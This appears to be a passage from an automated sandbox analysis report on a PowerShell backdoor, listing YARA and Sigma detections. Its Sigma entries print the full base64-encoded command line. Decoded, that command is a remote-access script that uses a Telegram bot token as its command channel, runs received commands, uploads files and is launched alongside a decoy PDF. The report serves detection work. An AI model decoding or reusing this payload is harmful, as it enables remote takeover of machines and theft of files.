AGQAZQByAHMALgBDAG8AbgB0AGUAbgB0AFQAeQBwAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFcAZQBiAC4ATQBpAG0AZQBNAGEAcABwAGkAbgBnAF0AOgA6AEcAZQB0AE0AaQBtAGUATQBhAHAAcABpAG4AZwAoACQARgBpAGwAZQBQAGEAdABoACkAIAANAAoAIAAgACAAIAANAAoAIAAgACAAIAAkAE0AdQBsAHQAaQBwAGEAcgB0AEMAbwBuAHQAZQBuAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4ASAB0AHQAcAAuAE0AdQBsAHQAaQBwAGEAcgB0AEYAbwByAG0ARABhAHQAYQBDAG8AbgB0AGUAbgB0AF0AOgA6AG4AZQB3ACgAKQANAAoAIAAgACAAIAAkAE0AdQBsAHQAaQBwAGEAcgB0AEMAbwBuAHQAZQBuAHQALgBBAGQAZAAoACQARgBpAGwAZQBDAG8AbgB0AGUAbgB0ACkADQAKACAAIAAgACAADQAKACAAIAAgACAAJABoAHQAdABwAEMAbABpAGUAbgB0AC4AUABvAHMAdABBAHMAeQBuAGMAKAAiACQAVQBSAEwALwBzAGUAbgBkAEQAbwBjAHUAbQBlAG4AdAA/AGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AIgAsACAAJABNAHUAbAB0AGkAcABhAHIAdABDAG8AbgB0AGUAbgB0ACkAIAA+ACAAJABuAHUAbABsAA0ACgB9AA0ACgANAAoAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsADQAKACAAIAAgACAAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgACQAaQBuAE0AZQBzAHMAYQBnAGUAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAALQBNAGUAdABoAG8AZAAgAEcAZQB0ACAALQBVAHIAaQAgACgAJABVAFIATAAgACsAJwAvAGcAZQB0AFUAcABkAGEAdABlAHMAPwBvAGYAZgBzAGUAdAA9ACcAIAArACAAKAAkAGwAYQBzAHQASQBEACAAKwAgADEAKQApACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAHQAbwBwAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAYwBhAHQAYwBoACAAewANAAoAIAAgACAAIAAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgACQAKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGEAeABpAG0AdQBtACAAMQAwACkAIAANAAoAIAAgACAAIAAgACAAIAAgAGMAbwBuAHQAaQBuAHUAZQANAAoAIAAgACAAIAB9AA0ACgAgACAAIAAgACQAaQBuAE0AZQBzAHMAYQBnAGUALgByAGUAcwB1AGwAdAAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAB1AHAAZABhAHQAZQBpAGQAIAA9ACAAJABfAC4AdQBwAGQAYQB0AGUAXwBpAGQADQAKACAAIAAgACAAIAAgACAAIAAkAGYAcgBvAG0AIAA9ACAAJABfAC4AbQBlAHMAcwBhAGcAZQAuAGYAcgBvAG0ALgBpAGQADQAKACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAXwAuAG0AZQBzAHMAYQBnAGUALgB0AGUAeAB0ACkAKQANAAoADQAKACAAIAAgACAAIAAgACAAIABpAGYAKAAkAGMAbwBtAG0AYQBuAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgADYAKQAgAC0AZQBxACAAIgAvAHMAbABlAGUAcAAiACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIABbAGkAbgB0AF0AJABjAG8AbQBtAGEAbgBkAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAA3ACkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAGMAbwBtAG0AYQBuAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgADQAKQAgAC0AZQBxACAAIgAvAGMAbQBkACIAKQB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAIAA9ACAAJABjAG8AbQBtAGEAbgBkAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAA1ACkAIAAgACAAIAAgACAAIAAgACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AQgBvAHQAQwBtAGQAIAAtAGMAbwBtAG0AYQBuAGQAIAAkAGMAbwBtAG0AYQBuAGQADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAGMAbwBtAG0AYQBuAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgADkAKQAgAC0AZQBxACAAIgAvAGQAbwB3AG4AbABvAGEAZAAiACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABGAGkAbABlAFAAYQB0AGgAIAA9ACAAJABjAG8AbQBtAGEAbgBkAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAxADAAKQAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAEIAbwB0AEQAbwB3AG4AbABvAGEAZAAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABGAGkAbABlAFAAYQB0AGgAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAIAAgACAAIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABjAG0AZAAgAD0AIAAkAGMAbwBtAG0AYQBuAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoADEALAAgADUAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABpAGQAZQBuAHQAaQBmAGkAZQByACAALQBlAHEAIAAkAGMAbQBkACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAIAA9ACAAJABjAG8AbQBtAGEAbgBkAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAA3ACkADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAC0AYwBvAG0AbQBhAG4AZAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQBsAHMAZQAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAUwBMAEUARQBQACIADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAAJAAoAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAE0AYQB4AGkAbQB1AG0AIAAxADAAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkACAAIAAgACAAIAAgACAADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAkAHMAbABlAGUAcABUAGkAbQBlAA0ACgB9AA== MD5: 04029E121A0CFA5991749937DD22A1D9)

svchost.exe (PID: 7176 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 3084	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x1baff6:$b3: ::UTF8.GetString( 0x31c7e6:$b3: ::UTF8.GetString( 0x55c2c:$s1: -join 0x5776f:$s1: -join 0x8acdb:$s1: -join 0x97db0:$s1: -join 0x9b182:$s1: -join 0x9b834:$s1: -join 0x9d325:$s1: -join 0x9f52b:$s1: -join 0x9fd52:$s1: -join 0xa05c2:$s1: -join 0xa0cfd:$s1: -join 0xa0d2f:$s1: -join 0xa0d77:$s1: -join 0xa0d96:$s1: -join 0xa15e6:$s1: -join 0xa1762:$s1: -join 0xa17da:$s1: -join 0xa186d:$s1: -join 0xa1ad3:$s1: -join

Sigma Signatures

System Summary

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Source: Process started

Author: pH-T (Nextron Systems), Harjot Singh, @cyb3rjy0t: Data: Command: powershell.exe -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\/file.pdf'; powershell.exe -e 'JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQA

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAASQ

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAASQ

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\/file.pdf'; powershell.exe -e 'JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmAC